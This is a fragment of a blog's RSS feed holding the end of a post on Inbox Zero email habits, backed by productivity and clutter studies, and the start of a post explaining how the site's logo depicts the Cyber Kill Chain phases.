    &lt;p&gt;You may be familiar with &lt;a href=&quot;https://en.wikipedia.org/wiki/Marie_Kondo&quot;&gt;Marie Kondo&lt;/a&gt;’s &lt;a href=&quot;https://konmari.com/about-the-konmari-method/&quot;&gt;KonMari&lt;/a&gt; method for organization, the main principle being you keep only those things that “spark joy”. I don’t recommend following this &lt;em&gt;exactly&lt;/em&gt; in the context of your email (as there is plenty of email I &lt;em&gt;need&lt;/em&gt; that doesn’t quite &lt;em&gt;spark joy&lt;/em&gt;) but I think the underlying thought here makes sense. Keep only what you need (or of course, &lt;em&gt;enjoy&lt;/em&gt;). For everything else, &lt;strong&gt;delete&lt;/strong&gt; or &lt;strong&gt;unsubscribe&lt;/strong&gt;! In this way, you can transform and then live your (digital) life the way you want.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The second tenant of the &lt;em&gt;KonMari&lt;/em&gt; method is to ensure everything has a place to go. In the context of your email, this means for things you &lt;em&gt;do&lt;/em&gt; want to keep, make sure they are filed away in an appropriate place. Essentially, this is digital house-keeping. Collectively, this methodology promotes mindfulness, introspection and an eye towards the future. &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;A &lt;em&gt;2011 Princeton study&lt;/em&gt; titled “&lt;a href=&quot;https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3072218/&quot;&gt;Interactions of Top-Down and Bottom-Up Mechanisms in Human Visual Cortex&lt;/a&gt;” &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;  (&lt;em&gt;inhales&lt;/em&gt;) explains how clutter impairs focus, thus making it more difficult to complete tasks efficiently. I won’t regurgitate the rather complex science introduced by the research, but what I &lt;em&gt;can&lt;/em&gt; say is that when applied to how one might review/process their email, it would follow that by actively reducing the amount of items in your inbox, you can maintain an environment (one with less overall emails) that is scientifically better suited for efficiency/productivity. In other words, even if you can’t achieve truly &lt;strong&gt;0&lt;/strong&gt; emails (effectively, &lt;em&gt;Inbox Zero&lt;/em&gt;), the sheer fact that you have very few emails in your inbox promotes a more effective working environment.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;A &lt;em&gt;Dutch study from 2017&lt;/em&gt; titled “&lt;a href=&quot;https://www.researchgate.net/publication/327022122_Impact_of_cleanliness_on_the_productivity_of_employees&quot;&gt;Impact of cleanliness on the productivity of employees&lt;/a&gt;” &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt; investigates the correlation between cleanliness and productivity. Unsurprisingly, it was found that cleanliness significantly increased perceived productivity and general work satisfaction. This follows with the previously mentioned research &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt; - having a clean or otherwise organized &lt;em&gt;environment&lt;/em&gt; (whatever that may be) fosters productivity and efficiency! Traditional wisdom suggests that having an organized workstation helps promote productivity. Given our reliance on email as a primary means in which we collaborate and work, it makes sense for us to keep our inbox and other respective email folders clean and tidy.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;To wrap up the theme of &lt;strong&gt;organization &amp;amp; cleanliness&lt;/strong&gt; and how it applies to email, consider some of the following statistics on &lt;a href=&quot;https://www.simplyproductive.com/2012/03/time-management-statistics/&quot;&gt;Organizing &amp;amp; Time Management&lt;/a&gt; gathered by the author of the blog &lt;a href=&quot;https://www.simplyproductive.com/&quot;&gt;Simply Productive&lt;/a&gt;. These stats lay bare the cost of clutter and disorganization.
    &lt;ul&gt;
      &lt;li&gt;One stat describes the amount of time (~150 hours/year) wasted searching for lost information. The National Association of Professional Organizers (&lt;a href=&quot;https://www.napo.net&quot;&gt;NAPO&lt;/a&gt;) even claims that on average, we spend one year of our lives looking for lost items. With a properly pruned and sorted email system, you can significantly reduce the time it takes to find things in your email!&lt;/li&gt;
      &lt;li&gt;Email is increasing in print volume by &lt;strong&gt;40%&lt;/strong&gt;! This is why ruthlessly &lt;em&gt;unsubscribing&lt;/em&gt; is one of the more powerful tools at your disposal.&lt;/li&gt;
      &lt;li&gt;Using proper organization tools can improve time management by almost 40%. &lt;em&gt;Inbox Zero&lt;/em&gt;, to-do lists, and all the other &lt;a href=&quot;#practical-mechanics&quot;&gt;tactics&lt;/a&gt; described in &lt;a href=&quot;https://shellsharks.com/tags?tag=inboxzero&quot;&gt;this series&lt;/a&gt; can be certainly be considered as some of these tools.
&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The benefits of &lt;em&gt;being organized&lt;/em&gt; don’t end with increased productivity though, there is also very compelling science which points to its stress-reduction qualities as well!&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;In one study, titled “&lt;a href=&quot;https://pubmed.ncbi.nlm.nih.gov/19934011/&quot;&gt;No place like home: home tours correlate with daily patterns of mood and cortisol&lt;/a&gt;…” &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;7&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt; ( &lt;a href=&quot;http://repettilab.psych.ucla.edu/no%20place%20like%20home.pdf&quot;&gt;&lt;i class=&quot;ph ph-file-text&quot;&gt;&lt;/i&gt;&lt;/a&gt; ), the researchers identified a correlation between how individuals described their home, and the severity of depressed mood they experienced. In this experiment, even recounting the general cleanliness/organizational-state of their home proved to be stressful (when the individuals in fact had cluttered homes). What I take away is that people who strive to, and succeed in maintaining an acceptable level of organization/cleanliness will in turn be less stressed! This idea is enforced by a subsequent study, “&lt;a href=&quot;https://www.sciencedirect.com/science/article/abs/pii/S0272494416300159?via%3Dihub&quot;&gt;The dark side of home: Assessing possession ‘clutter’ on subjective well-being&lt;/a&gt;” &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;8&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;, which concludes that clutter has a negative impact on the psychological home and subjective well-being. This is due to our inherent need to identify self with our physical environment, of which a messy or cluttered one does not reflect well. Put it all together and one could surmise that messiness in general, whether it be in an inbox or in the home, can introduce unwanted stress.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Saving time&lt;/strong&gt; - which can be achieved through improved &lt;em&gt;efficiency&lt;/em&gt;, &lt;a href=&quot;https://doi.org/10.1080/01443410.2013.785065&quot;&gt;has been proven to reduce/prevent stress&lt;/a&gt;. &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;9&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;So we now have the basis for how &lt;em&gt;organization&lt;/em&gt; and &lt;em&gt;cleanliness&lt;/em&gt; can improve productivity, efficiency and even reduce stress. Let’s talk about how we apply the psychology of task management / &lt;a href=&quot;https://gettingthingsdone.com/&quot;&gt;GTD&lt;/a&gt; &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;11&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt; in the context of Inbox Zero…&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Let’s start with the “&lt;a href=&quot;http://www.priorigami.com/blog/the-two-minute-rule&quot;&gt;Two Minute Rule&lt;/a&gt;” &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;10&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;, first introduced by &lt;a href=&quot;https://en.wikipedia.org/wiki/David_Allen_(author)&quot;&gt;David Allen&lt;/a&gt; in “&lt;a href=&quot;https://gettingthingsdone.com/&quot;&gt;Getting Things Done&lt;/a&gt;”. The rule simply states, “&lt;em&gt;If you can complete a task in less than two minutes, you should just do it&lt;/em&gt;.” This is a core tenant of the Inbox Zero methodology. &lt;em&gt;Look&lt;/em&gt;, no one loves procrastinating more than me, but by just &lt;em&gt;doing it&lt;/em&gt;, you can clear things out of the inbox (reducing clutter) and start building productive momentum &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;12&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt; by completing the micro-tasks that these emails represent. &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;13&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;At the end of the day, an inbox is really just a list of things &lt;em&gt;to do&lt;/em&gt; (e.g. read, delete, archive, etc…). A lot of peoples inboxes are PACKED, with 10’s, 100’s, even &lt;a href=&quot;inbox-zero#title&quot;&gt;1000’s+&lt;/a&gt; of emails. This is naturally a bit overwhelming. Well David Allen is back with some really great advice on &lt;a href=&quot;https://gettingthingsdone.com/2021/06/are-you-overwhelmed-by-long-lists/&quot;&gt;how to leverage a GTD philosophy to mentally tackle a large list of to-dos&lt;/a&gt;. He condenses the complexities of every day task prioritization into three separate dynamics - &lt;strong&gt;limitations&lt;/strong&gt;, &lt;strong&gt;adaptability&lt;/strong&gt; &amp;amp; &lt;strong&gt;life purpose&lt;/strong&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;E.J. Masicampo, a Psychology professor at &lt;a href=&quot;https://psychology.wfu.edu/about-the-department/&quot;&gt;Wake Forest University&lt;/a&gt;, has &lt;a href=&quot;http://psychology.wfu.edu/about-the-department/faculty-and-staff/e-j-masicampo/&quot;&gt;documented research&lt;/a&gt; examining the relationship between having too many “goals” activated within one’s environment and how that constrains mental faculties. In the context of email / lists in general, he &lt;em&gt;essentially&lt;/em&gt; postulates that by having too many visible to-dos (or things on your list) at one time you compromise your mental effectiveness. He goes on to say that attention can be freed by satisfying “active goals”, such as through &lt;em&gt;plan making&lt;/em&gt; or goal completion. One way in which to “make plans” in this context, and in the world of Inbox Zero, is to decompose a more complex task (originating in this case from an email) by creating a series of micro-tasks &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;13&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;, thus devising a &lt;em&gt;plan&lt;/em&gt; to complete the overall task.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The “&lt;a href=&quot;https://en.wikipedia.org/wiki/Zeigarnik_effect&quot;&gt;Zeigarnik Effect&lt;/a&gt;” states that “&lt;em&gt;people tend to remember unfinished or incomplete tasks better than completed tasks&lt;/em&gt;”. This model suggests a key to overcoming procrastination is to simply, &lt;em&gt;just get started&lt;/em&gt;. So by leveraging something like the &lt;strong&gt;Two Minute Rule&lt;/strong&gt; &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;10&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;, we can psychologically build productive momentum. Further, the Zeigarnik Effect suggests that mental health improvements can be achieved by &lt;strong&gt;A.&lt;/strong&gt; &lt;em&gt;NOT&lt;/em&gt; having incomplete items languishing in your to-do list and relatedly, &lt;strong&gt;B.&lt;/strong&gt; the sense of accomplishment you get by completing tasks. &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;13&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;In fact, it’s well understood that when we humans &lt;em&gt;check things off&lt;/em&gt;, &lt;a href=&quot;https://facilethings.com/blog/en/micro-tasks&quot;&gt;our brains release dopamine&lt;/a&gt; that in turn makes us feel, &lt;em&gt;amazing&lt;/em&gt;. That satisfaction and sense of accomplishment can have a &lt;a href=&quot;https://en.wikipedia.org/wiki/Snowball_effect&quot;&gt;snowball effect&lt;/a&gt;, motivating us to continue completing &lt;em&gt;even more&lt;/em&gt; tasks. By leveraging this simple psychology, we can overcome procrastination by starting small and working our way towards larger and larger tasks. Where a task may be too large and intimidating to begin, consider breaking it into smaller, more atomic micro-tasks, each of which is more easily individually digestable.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;A word of warning!&lt;/strong&gt;: While leveraging to-do lists and &lt;a href=&quot;https://gettingthingsdone.com/&quot;&gt;GTD&lt;/a&gt; &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;11&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt; methodologies has a lot of practical utility, be weary of over-generating to-dos in the name of micro-task-completing &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;13&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;. This is the way towards developing an &lt;a href=&quot;https://iocdf.org/about-ocd/&quot;&gt;OCD complex&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;outro&quot;&gt;Outro&lt;/h5&gt;

&lt;p&gt;At the end of the day, how and what you do with your email is somewhat personal and what’s “best” for one person will not necessarily be the same for someone else. If you are drowning in email or like the idea of &lt;em&gt;Inbox Zero&lt;/em&gt;, consider this slightly tweaked approach!&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;references&quot;&gt;References&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/inbox-zero#title&quot;&gt;The Zen of Inbox Zero&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=z9UjeTMb3Yk&quot;&gt;Inbox Zero by Merlin Mann&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://todoist.com/&quot;&gt;Todoist&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://support.google.com/mail/answer/5904&quot;&gt;Starring&lt;/a&gt;, &lt;a href=&quot;https://support.apple.com/guide/mail/flag-emails-mlhlp1052/mac&quot;&gt;Flagging&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://support.google.com/mail/answer/7622010&quot;&gt;Snoozing&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://blog.superhuman.com/inbox-zero-method/&quot;&gt;SUPERHUMAN | Everything you need to know about the Inbox Zero Method&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://shellsharks.com/inbox-zero#lets-zero-it-out&quot;&gt;Let’s Zero It Out - Step 4&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://deliveries.app/&quot;&gt;Deliveries&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;3&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://quoteinvestigator.com/2017/09/02/clutter/&quot;&gt;Quote Investigator&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;4&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://konmari.com/about-the-konmari-method/&quot;&gt;KonMari Method&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;5&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3072218/&quot;&gt;Interactions of Top-Down and Bottom-Up Mechanisms in Human Visual Cortex&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;6&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.researchgate.net/publication/327022122_Impact_of_cleanliness_on_the_productivity_of_employees&quot;&gt;Impact of cleanliness on the productivity of employees&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.simplyproductive.com/&quot;&gt;Simply Productive&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;7&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://pubmed.ncbi.nlm.nih.gov/19934011/&quot;&gt;No place like home: home tours correlate with daily patterns of mood and cortisol…&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;8&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.sciencedirect.com/science/article/abs/pii/S0272494416300159?via%3Dihub&quot;&gt;The dark side of home: Assessing possession ‘clutter’ on subjective well-being&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;9&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://www.tandfonline.com/doi/abs/10.1080/01443410.2013.785065&quot;&gt;Stress prevention through a time management training intervention: an experimental study&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;10&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;http://www.priorigami.com/blog/the-two-minute-rule&quot;&gt;Two Minute Rule&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;11&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://gettingthingsdone.com/&quot;&gt;Getting Things Done | GTD&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://psychology.wfu.edu/about-the-department/faculty-and-staff/e-j-masicampo/&quot;&gt;E.J. Masicampo Research Interests&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;12&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://en.wikipedia.org/wiki/Zeigarnik_effect&quot;&gt;Zeigarnik Effect&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;sup&gt;13&lt;/sup&gt;&lt;/strong&gt; &lt;a href=&quot;https://facilethings.com/blog/en/micro-tasks&quot;&gt;Micro-Tasks. The Pleasure of Checking Off&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Wed, 27 Jul 2022 02:50:00 -0400</pubDate>
        <link>https://shellsharks.com/inbox-zero-part-2</link>
        <guid isPermaLink="true">https://shellsharks.com/inbox-zero-part-2</guid>
        
        <category>technology</category>
        
        <category>life</category>
        
        <category>inboxzero</category>
        
        
        <category>technology</category>
        
        <category>life</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>The Shellsharks Logo Chronicles</title>
        <shark:summary><p>This piece details the craziness that is the <a href="https://shellsharks-images.s3.amazonaws.com/shellsharks.png">Shellsharks logo</a>. <img src="https://shellsharks-images.s3.amazonaws.com/shellsharks.png" style="display:inline; height:2em;" /></p>
</shark:summary>
        <description>&lt;p&gt;This piece details the craziness that is the &lt;a href=&quot;https://shellsharks-images.s3.amazonaws.com/shellsharks.png&quot;&gt;Shellsharks logo&lt;/a&gt;. &lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/shellsharks.png&quot; style=&quot;display:inline; height:2em;&quot; /&gt;&lt;/p&gt;

&lt;style&gt;
/* (A) TIMELINE CONTAINER */
/* https://code-boxx.com/simple-pure-css-timeline/#sec-altv */
.vtl {
  /* (A1) RELATIVE POSITION REQUIRED TO PROPERLY POSITION THE TIMELINE */
  position: relative;

  /* (A2) RESERVE MORE SPACE TO THE LEFT FOR THE TIMELINE */
  padding: 10px 10px 10px 50px;

  /* (A3) OPTIONAL WIDTH RESTRICTION */
  max-width: 100%;
}
.vtl, .vtl * { box-sizing: border-box; }

/* (B) DRAW VERTICAL LINE USING ::BEFORE */
.vtl::before {
  /* (B1) VERTICAL LINE */
  content: &quot;&quot;;
  width: 5px;
  background-color: #CA3342;

  /* (B2) POSITION TO THE LEFT */
  position: absolute;
  top: 0; bottom: 0; left: 15px;
}

/* (C) COSMETICS FOR EVENTS */
div.event {
  padding: 20px 30px;
  background-color: #D5D5D5;
  position: relative;
  border-radius: 6px;
  margin-bottom: 10px;
}

/* (D) COSMETICS FOR EVENT DATE &amp; TEXT */
h3.date {
  font-size: 1.1em;
  font-weight: 700;
  color: #CA3342;
}
p.txt {
  margin: 10px 0 0 0;
  color: #222;
}

a.txt { color: #CA3342;}

/* (E) EVENT &quot;SPEECH BUBBLE CALLOUT&quot; */
div.event::before {
  /* (E1) &quot;MAGIC TRIANGLE&quot; */
  content: &quot;&quot;;
  border: 10px solid transparent;
  border-right-color: #ffebeb;
  border-left: 0;

   /* (E2) POSITION TO THE LEFT */
  position: absolute;
  top: 20%; left: -10px;
}

/* (F) CIRCLE ON TIMELINE */
div.event::after {
  /* (F1) &quot;MAGIC CIRCLE&quot; */
  content: &quot;&quot;;
  background: #D5D5D5;
  border: 4px solid #CA3342;
  width: 16px; height: 16px;
  border-radius: 50%;

  /* (F2) POSITION TO THE LEFT */
  position: absolute;
  top: 20%; left: -44px;
}

/* https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout */
.wrapper {
  display: grid;
  grid-template-columns: 1fr 1fr 1fr;
}

&lt;/style&gt;

&lt;p&gt;&lt;em&gt;Ok&lt;/em&gt;, so I realize it’s less of a &lt;em&gt;logo&lt;/em&gt; and more of a complicated graphic I use as the “splash screen” of sorts for the site. I understand that logos, generally speaking, are &lt;a href=&quot;https://shellsharks.com/pro&quot;&gt;far simpler&lt;/a&gt; and this is anything but. &lt;em&gt;In any case&lt;/em&gt;… let’s get into it!&lt;/p&gt;

&lt;h1 id=&quot;inner-space&quot;&gt;Inner Space&lt;/h1&gt;

&lt;p&gt;I like to think of the logo in terms of two distinct &lt;em&gt;regions&lt;/em&gt;, the “&lt;a href=&quot;#inner-space&quot;&gt;Inner Space&lt;/a&gt;” which houses the &lt;a href=&quot;#shellsharks-logo-symbology&quot;&gt;7 individual smaller circular symbols&lt;/a&gt; and the “&lt;a href=&quot;#outer-space&quot;&gt;Outer Space&lt;/a&gt;” which is essentially the large red ring with the &lt;a href=&quot;#sharks&quot;&gt;3 sharks&lt;/a&gt;, &lt;a href=&quot;#qr&quot;&gt;QR code&lt;/a&gt; and &lt;a href=&quot;#cipher-challenge&quot;&gt;ring of binary characters&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;the-cyber-kill-chain&quot;&gt;The Cyber Kill Chain&lt;/h2&gt;

&lt;p&gt;The primary inspiration for the symbology in the &lt;a href=&quot;#inner-space&quot;&gt;Inner Space&lt;/a&gt; is Lockheed Martin’s &lt;a href=&quot;https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.htm&quot;&gt;Cyber Kill Chain&lt;/a&gt;. Though I know this model has been somewhat deprecated in favor of newer frameworks such as &lt;a href=&quot;https://attack.mitre.org&quot;&gt;MITRE ATT&amp;amp;CK&lt;/a&gt;, I still think the &lt;em&gt;Kill Chain&lt;/em&gt; has valuable (albeit more simplistic) applicability. Also, capturing &lt;em&gt;ATT&amp;amp;CK&lt;/em&gt; in a graphic similar to the existing one would be even more insanely complex!&lt;/p&gt;

&lt;h2 id=&quot;shellsharks-logo-symbology&quot;&gt;Shellsharks Logo Symbology&lt;/h2&gt;

&lt;p&gt;Let’s walkthrough the sequence of 7 symbols and how they visually represent each phase of the &lt;em&gt;&lt;a href=&quot;https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.htm&quot;&gt;Kill Chain&lt;/a&gt;&lt;/em&gt;. (&lt;strong&gt;Note&lt;/strong&gt;: You may need to zoom in on the individual icons as we go).&lt;/p&gt;

&lt;div class=&quot;vtl&quot;&gt;
  &lt;div class=&quot;event&quot;&gt;
    &lt;h3 class=&quot;date&quot; id=&quot;reconnaissance&quot;&gt;Reconnaissance&lt;/h3&gt;
    &lt;p class=&quot;txt&quot;&gt;Starting on the left, we see a variety of satellites, satellite dishes and cameras all pointing towards the &lt;a href=&quot;#actions-on-objectives&quot; class=&quot;txt&quot;&gt;center circle&lt;/a&gt;. This represents &lt;i&gt;reconnaissance&lt;/i&gt; performed against the target which is, again represented by the center icon. Note how the reconnaissance logo is the first one the &lt;a href=&quot;#sharks&quot; class=&quot;txt&quot;&gt;sharks&lt;/a&gt; on the left are swimming to, which is meant to signify that it is the first step for the attacker (i.e. the sharks).&lt;/p&gt;
    &lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/shellsharks-reconnaissance.png&quot; width=&quot;600px&quot; /&gt;&lt;/center&gt;
  &lt;/div&gt;
  &lt;div class=&quot;event&quot;&gt;
    &lt;h3 class=&quot;date&quot; id=&quot;weaponization&quot;&gt;Weaponization&lt;/h3&gt;
    &lt;p class=&quot;txt&quot;&gt;The second circle represents &lt;i&gt;weaponization&lt;/i&gt;. As such, I&apos;ve put a lot of weapon-related icons (e.g. swords, arrows) and &lt;a href=&quot;https://military-history.fandom.com/wiki/Laurel_wreath&quot; class=&quot;txt&quot;&gt;military-invoking visuals&lt;/a&gt; into the icon.&lt;/p&gt;
    &lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/shellsharks-weaponization.png&quot; width=&quot;600px&quot; /&gt;&lt;/center&gt;
  &lt;/div&gt;
  &lt;div class=&quot;event&quot;&gt;
    &lt;h3 class=&quot;date&quot; id=&quot;delivery&quot;&gt;Delivery&lt;/h3&gt;
    &lt;p class=&quot;txt&quot;&gt;Here we can see a rocket launch, simply depicting payload &lt;i&gt;delivery&lt;/i&gt;.&lt;/p&gt;
    &lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/shellsharks-delivery.png&quot; width=&quot;600px&quot; /&gt;&lt;/center&gt;
  &lt;/div&gt;
  &lt;div class=&quot;event&quot;&gt;
    &lt;h3 class=&quot;date&quot; id=&quot;exploitation&quot;&gt;Exploitation&lt;/h3&gt;
    &lt;p class=&quot;txt&quot;&gt;There is quite a bit of symbology going on in this icon. We have the &lt;i&gt;exploit&lt;/i&gt; &quot;chain&quot; (meant to look like 1&apos;s and 0&apos;s) going around the outside portion of the circle. There is a computer with a &lt;a href=&quot;https://en.wikipedia.org/wiki/Kraken&quot; class=&quot;txt&quot;&gt;kraken&lt;/a&gt; on it (meant to just be menacing). We are running our exploit (on a Unix-based machine presumably) via &lt;i&gt;./exploit&lt;/i&gt;. Finally, we have a soup of 1&apos;s and 0&apos;s interspersed and spilling out of the logo into the following phase.&lt;/p&gt;
    &lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/shellsharks-exploitation.png&quot; width=&quot;600px&quot; /&gt;&lt;/center&gt;
  &lt;/div&gt;
  &lt;div class=&quot;event&quot;&gt;
    &lt;h3 class=&quot;date&quot; id=&quot;installation&quot;&gt;Installation&lt;/h3&gt;
    &lt;p class=&quot;txt&quot;&gt;Here we see the stream of 1&apos;s and 0&apos;s from our exploitation phase being piped into the victim computer. The computer has a downward arrow to very plainly represent &lt;i&gt;installation&lt;/i&gt; of malicious code.&lt;/p&gt;
    &lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/shellsharks-installation.png&quot; width=&quot;600px&quot; /&gt;&lt;/center&gt;
  &lt;/div&gt;
  &lt;div class=&quot;event&quot; id=&quot;c2&quot;&gt;
    &lt;h3 class=&quot;date&quot;&gt;Command &amp;amp; Control (C2)&lt;/h3&gt;
    &lt;p class=&quot;txt&quot;&gt;This icon depicts a terminal interacting with a seemingly remote installation (i.e. one on a distant planet). This particular icon I&apos;ve always really loved as it reminds me of the &lt;a href=&quot;https://starwars.fandom.com/wiki/Endor_shield_generator_bunker&quot; class=&quot;txt&quot;&gt;Endor shield generator dish&lt;/a&gt; from &lt;a href=&quot;https://www.imdb.com/title/tt0086190/&quot; class=&quot;txt&quot;&gt;Return of the Jedi&lt;/a&gt;.&lt;/p&gt;
    &lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/shellsharks-c2.png&quot; width=&quot;600px&quot; /&gt;&lt;/center&gt;
  &lt;/div&gt;
  &lt;div class=&quot;event&quot;&gt;
    &lt;h3 class=&quot;date&quot; id=&quot;actions-on-objectives&quot;&gt;Actions on Objectives&lt;/h3&gt;
    &lt;p class=&quot;txt&quot;&gt;Finally, we have the &quot;&lt;i&gt;Actions on Objectives&lt;/i&gt;&quot; icon. Here we see a road to a building that&apos;s meant to be &quot;Capitol-esque&quot; with fireworks and the letters &quot;DC01&quot; above it. The idea here is that the objective was to capture the DC (i.e. Domain Controller). &lt;i&gt;Basic, I know right&lt;/i&gt;?&lt;/p&gt;
    &lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/shellsharks-actions.png&quot; width=&quot;600px&quot; /&gt;&lt;/center&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;outer-space&quot;&gt;Outer Space&lt;/h1&gt;

&lt;p&gt;Now we blast into Outer Space (the area of the logo which contains the &lt;a href=&quot;#sharks&quot;&gt;sharks&lt;/a&gt;, &lt;a href=&quot;#qr&quot;&gt;QR code&lt;/a&gt; and &lt;a href=&quot;#cipher-challenge&quot;&gt;enciphered binary ring&lt;/a&gt;)…&lt;/p&gt;

&lt;p&gt;&lt;i class=&quot;ph ph-rocket-launch lg&quot;&gt;&lt;/i&gt;&lt;/p&gt;

